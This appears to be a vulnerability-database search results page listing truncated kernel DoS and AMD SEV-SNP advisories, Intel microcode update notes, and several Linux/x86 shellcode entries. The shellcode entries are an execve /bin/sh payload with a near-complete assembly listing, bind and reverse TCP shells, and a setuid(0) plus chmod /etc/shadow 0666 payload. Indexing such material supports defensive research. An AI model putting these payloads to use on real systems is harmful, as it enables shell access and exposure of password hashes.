Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-000636)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-000636 advisory. The Linux Kernel 2.6.32 and later are affected by a denial of service, by flooding the diagnostic port 0x80 an exception can be triggered leading to a kernel panic...

EUVD-2008-3125

Malware in sbrugna...

CLSA-2025-1758639838 Update of microcode_ctl

Update Intel CPU microcode to 20250812: - Addition of cpuid:806F8/0x10 SPR-HBM B3 microcode in microcode.dat at revision 0x2c000401; - Addition of cpuid:806F8/0x87 SPR-SP E5/S3 microcode in microcode.dat at revision 0x2b000643; - Addition of cpuid:90672/0x07 ADL-HX/S 8+8 C0 microcode in...

CLSA-2025-1747725732 Update of microcode_ctl

Update Intel CPU microcode to 20250211: - Addition of cpuid:806F8/0x10 SPR-HBM B3 microcode in microcode.dat at revision 0x2c0003e0; - Addition of cpuid:806F8/0x87 SPR-SP E5/S3 microcode in microcode.dat at revision 0x2b000620; - Addition of cpuid:90672/0x07 ADL-HX/S 8+8 C0 microcode in...

CLSA-2024-1730370797 Update of microcode_ctl

Update Intel CPU microcode to 20240813: - Addition of cpuid:806F8/0x10 SPR-HBM B3 microcode in microcode.dat at revision 0x2c000390; - Addition of cpuid:806F8/0x87 SPR-SP E5/S3 microcode in microcode.dat at revision 0x2b0005c0; - Addition of cpuid:90672/0x07 ADL-HX/S 8+8 C0 microcode in...

hw: amd: Instruction raise #VC exception at exit

A vulnerability was found in AMD SEV-SNP, where a malicious hypervisor can potentially break confidentiality and integrity of SEV-SNP on Linux guests by injecting interrupts. An attacker can inject interrupt 0x80, which is used by Linux for legacy 32-bit system calls, and arbitrarily change the...

hw: amd: Instruction raise #VC exception at exit

A vulnerability was found in AMD SEV-SNP, where a malicious hypervisor can potentially break confidentiality and integrity of SEV-SNP on Linux guests by injecting interrupts. An attacker can inject interrupt 0x80, which is used by Linux for legacy 32-bit system calls, and arbitrarily change the...

hw: amd: Instruction raise #VC exception at exit

A vulnerability was found in AMD SEV-SNP, where a malicious hypervisor can potentially break confidentiality and integrity of SEV-SNP on Linux guests by injecting interrupts. An attacker can inject interrupt 0x80, which is used by Linux for legacy 32-bit system calls, and arbitrarily change the...

hw: amd: Instruction raise #VC exception at exit

A vulnerability was found in AMD SEV-SNP, where a malicious hypervisor can potentially break confidentiality and integrity of SEV-SNP on Linux guests by injecting interrupts. An attacker can inject interrupt 0x80, which is used by Linux for legacy 32-bit system calls, and arbitrarily change the...

hw: amd: Instruction raise #VC exception at exit

A vulnerability was found in AMD SEV-SNP, where a malicious hypervisor can potentially break confidentiality and integrity of SEV-SNP on Linux guests by injecting interrupts. An attacker can inject interrupt 0x80, which is used by Linux for legacy 32-bit system calls, and arbitrarily change the...

Linux/x86 - execve(/bin/sh) Shellcode (17 bytes)

Linux/x86 - execve/bin/sh Shellcode 17 bytes Author: s1ege Tested on: i686 GNU/Linux Shellcode length: 17 / ; nasm -felf32 shellcode.asm && ld -melfi386 shellcode.o -o shellcode section .text global start start: push 0x0b pop eax push 0x0068732f push 0x6e69622f mov ebx, esp int 0x80 / include...

Denial Of Service (DoS)

Linux kernel is vulnerable to denial of service DoS attacks. The vulnerability exists in the Linux kernel Virtualization Module CONFIGKVM for the Intel processor family CONFIGKVMINTEL when a guest was to flood the I/O port 0x80 with write requests leading to a crash in the host kernel...

Linux/x86 - Bind (5555/TCP) Shell Shellcode (98 bytes)

include / ; Bind TCP Shellcode ; Copyright 2018, Luca Di Domenico ; ; This program is free software: you can redistribute it and/or modify ; it under the terms of the GNU General Public License as published by ; the Free Software Foundation, either version 3 of the License, or ; at your option an...

Denial of service

The Linux Kernel 2.6.32 and later are affected by a denial of service, by flooding the diagnostic port 0x80 an exception can be triggered leading to a kernel panic...

CVE-2017-1000407

The Linux Kernel 2.6.32 and later are affected by a denial of service, by flooding the diagnostic port 0x80 an exception can be triggered leading to a kernel panic...

CVE-2017-1000407

CVE-2017-1000407 affects the Linux kernel when built with KVM support, where an attacker can flood the diagnostic port 0x80 and trigger a kernel crash. Root cause: improper validation of user-supplied input at the diagnostic port, enabling denial of service via port flooding. Impact per public ad...

Linux/x86 - execve "/bin/sh" Shellcode (24 bytes)

/ ; Title: Linux/x86 execve "/bin/sh" - shellcode 24 byte ; Platform: linux/x86 ; Date: 2015-01-03 ; Author: Dennis 'dhn' Herrmann ; Website: https://zer0-day.pw BITS 32 global start section .text ; syscalls kernel SYSEXECVE equ 0x0b start: ; execve"/bin//sh", 0, 0; push SYSEXECVE ; SYSEXECVE = 1...

Linux/x86 - execve "/bin/sh" - shellcode 26 bytes

Linux/x86 - execve "/bin/sh" - shellcode 26 bytes. Shellcode exploit for linx86 platform / ; Title: Linux/x86 execve "/bin/sh" - shellcode 26 bytes ; Platform: linux/x8664 ; Date: 2015-05-19 ; Author: Reza Behzadpour ; Simple ShellCode section .text global start start: xor ecx,ecx mul ecx...

Linux/x86 - Reverse TCP (127.1.1.1:1337/TCP) Shell Shellcode (74 bytes)

Linux/x86 - Reverse TCP 127.1.1.1:1337/TCP Shell Shellcode 74 bytes. Shellcode exploit for Linuxx86 platform / Title: Shell Reverse TCP Shellcode - 74 bytes Platform: Linux/x86 Date: 2014-07-25 Author: Julien Ahrens @MrTuxracer Website: http://www.rcesecurity.com Disassembly of section .text:...

linux/x86 Shellcode Polymorphic - setuid(0) + chmod("/etc/shadow", 0666) Shellcode 61 Bytes

No description provided by source. / ============================================================================================= linux/x86 Shellcode Polymorphic - setuid0 + chmod/etc/shadow, 0666 Shellcode 61 Bytes...